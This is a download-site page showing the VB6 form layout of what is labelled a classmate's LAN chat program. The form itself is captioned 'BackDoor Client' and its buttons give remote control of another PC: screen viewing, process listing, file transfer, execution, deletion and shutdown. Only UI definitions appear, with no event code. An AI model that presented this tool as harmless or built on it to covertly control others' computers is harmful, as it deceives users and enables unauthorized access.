⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainform.frm

📁 一个同学用VB编写的局域网通讯程序
💻 FRM
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{38911DA0-E448-11D0-84A3-00DD01104159}#1.1#0"; "COMCT332.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Begin VB.Form MainForm 
   Caption         =   "BackDoor Client"
   ClientHeight    =   6570
   ClientLeft      =   165
   ClientTop       =   735
   ClientWidth     =   8640
   LinkTopic       =   "Form1"
   ScaleHeight     =   6570
   ScaleWidth      =   8640
   StartUpPosition =   3  'Windows Default
   Begin VB.CommandButton OpProc 
      Caption         =   "Processes"
      Enabled         =   0   'False
      Height          =   735
      Left            =   2040
      Picture         =   "MainForm.frx":0000
      Style           =   1  'Graphical
      TabIndex        =   10
      Top             =   120
      Width           =   975
   End
   Begin VB.CommandButton Connect 
      Caption         =   "Connect"
      Height          =   735
      Left            =   120
      Picture         =   "MainForm.frx":0442
      Style           =   1  'Graphical
      TabIndex        =   5
      Top             =   120
      Width           =   855
   End
   Begin ComCtl3.CoolBar CoolBar1 
      Height          =   915
      Left            =   0
      TabIndex        =   4
      Top             =   0
      Width           =   8655
      _ExtentX        =   15266
      _ExtentY        =   1614
      BandCount       =   1
      _CBWidth        =   8655
      _CBHeight       =   915
      _Version        =   "6.7.8862"
      MinHeight1      =   855
      Width1          =   2880
      NewRow1         =   0   'False
      Begin VB.CommandButton LogofWin 
         Caption         =   "Logoff"
         Height          =   735
         Left            =   7680
         Picture         =   "MainForm.frx":0884
         Style           =   1  'Graphical
         TabIndex        =   13
         Top             =   120
         Width           =   735
      End
      Begin VB.CommandButton RestastWin 
         Caption         =   "Restart"
         Height          =   735
         Left            =   6840
         Picture         =   "MainForm.frx":0CC6
         Style           =   1  'Graphical
         TabIndex        =   12
         Top             =   120
         Width           =   735
      End
      Begin VB.CommandButton ShutWin 
         Caption         =   "Shut Down"
         Height          =   735
         Left            =   5760
         Picture         =   "MainForm.frx":1108
         Style           =   1  'Graphical
         TabIndex        =   11
         Top             =   120
         Width           =   975
      End
      Begin VB.CommandButton CDOpen 
         Caption         =   "Open CD"
         Enabled         =   0   'False
         Height          =   735
         Left            =   4800
         Picture         =   "MainForm.frx":154A
         Style           =   1  'Graphical
         TabIndex        =   9
         Top             =   120
         Width           =   855
      End
      Begin VB.CommandButton SendBtn 
         Caption         =   "Send"
         Enabled         =   0   'False
         Height          =   735
         Left            =   3960
         Picture         =   "MainForm.frx":198C
         Style           =   1  'Graphical
         TabIndex        =   8
         Top             =   120
         Width           =   735
      End
      Begin VB.CommandButton ReceiveBtn 
         Caption         =   "Receive"
         Enabled         =   0   'False
         Height          =   735
         Left            =   3120
         Picture         =   "MainForm.frx":1DCE
         Style           =   1  'Graphical
         TabIndex        =   7
         Top             =   120
         Width           =   735
      End
      Begin VB.CommandButton ShowScr 
         Caption         =   "Screen"
         Enabled         =   0   'False
         Height          =   735
         Left            =   1080
         Picture         =   "MainForm.frx":2210
         Style           =   1  'Graphical
         TabIndex        =   6
         Top             =   120
         Width           =   855
      End
   End
   Begin VB.Timer RefreshRate 
      Enabled         =   0   'False
      Interval        =   500
      Left            =   7560
      Top             =   6360
   End
   Begin MSComDlg.CommonDialog CommDialog 
      Left            =   8040
      Top             =   5640
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
      CancelError     =   -1  'True
      Filter          =   "Zip Files|*.zip"
   End
   Begin VB.CommandButton ExecBtn 
      Caption         =   "Execute"
      Enabled         =   0   'False
      Height          =   375
      Left            =   7560
      TabIndex        =   3
      Top             =   1920
      Width           =   975
   End
   Begin VB.CommandButton KillBtn 
      Caption         =   "Delete"
      Enabled         =   0   'False
      Height          =   375
      Left            =   7560
      TabIndex        =   2
      Top             =   1440
      Width           =   975
   End
   Begin VB.CommandButton PropsBtn 
      Caption         =   "Properties"
      Enabled         =   0   'False
      Height          =   375
      Left            =   7560
      TabIndex        =   1
      Top             =   960
      Width           =   975
   End
   Begin MSWinsockLib.Winsock ClientSck 
      Left            =   7560
      Top             =   5760
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSComctlLib.TreeView ListTree 
      Height          =   5535
      Left            =   0
      TabIndex        =   0
      Top             =   960
      Width           =   7455
      _ExtentX        =   13150
      _ExtentY        =   9763
      _Version        =   393217
      Sorted          =   -1  'True
      Style           =   7
      ImageList       =   "ImageList1"
      Appearance      =   1
      Enabled         =   0   'False
      BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
         Name            =   "MS Sans Serif"
         Size            =   8.25
         Charset         =   162
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
   End
   Begin MSComctlLib.ImageList ImageList1 
      Left            =   8040
      Top             =   6240
      _ExtentX        =   1005
      _ExtentY        =   1005
      BackColor       =   -2147483643
      ImageWidth      =   32
      ImageHeight     =   32
      MaskColor       =   12632256
      _Version        =   393216
      BeginProperty Images {2C247F25-8591-11D1-B16A-00C0F0283628} 
         NumListImages   =   4
         BeginProperty ListImage1 {2C247F27-8591-11D1-B16A-00C0F0283628} 
            Picture         =   "MainForm.frx":2652
            Key             =   "Drive"
         EndProperty
         BeginProperty ListImage2 {2C247F27-8591-11D1-B16A-00C0F0283628} 
            Picture         =   "MainForm.frx":2AA6
            Key             =   "Remote"
         EndProperty
         BeginProperty ListImage3 {2C247F27-8591-11D1-B16A-00C0F0283628} 
            Picture         =   "MainForm.frx":2EFA
            Key             =   "File"
         EndProperty
         BeginProperty ListImage4 {2C247F27-8591-11D1-B16A-00C0F0283628} 
            Picture         =   "MainForm.frx":335A
            Key             =   "Folder"
         EndProperty
      EndProperty
   End
   Begin VB.Menu FileMn 
      Caption         =   "&File"
      Begin VB.Menu ExitMn 
         Caption         =   "&Exit"
      End
   End
   Begin VB.Menu ActionMn 
      Caption         =   "&Action"
      Begin VB.Menu ConnectMn 
         Caption         =   "&Connect"
      End
      Begin VB.Menu ScreenMn 
         Caption         =   "&Screen"
      End
      Begin VB.Menu ProcessesMn 
         Caption         =   "&Processes"
      End
      Begin VB.Menu ReceiveMn 
         Caption         =   "&Receive"
      End
      Begin VB.Menu SendMn 
         Caption         =   "Se&nd"
      End
      Begin VB.Menu OpenCDMn 
         Caption         =   "&Open CD"
      End
   End
   Begin VB.Menu HelpMn 
      Caption         =   "&Help"
      Begin VB.Menu AboutMn 
         Caption         =   "&About"
      End
   End
End
Attribute VB_Name = "MainForm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit


'*****************************************************************************
'                      PCRemote Server v1.0 - made in VB6
'                      Copyright (c) 2001 Volkan HASKILI

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -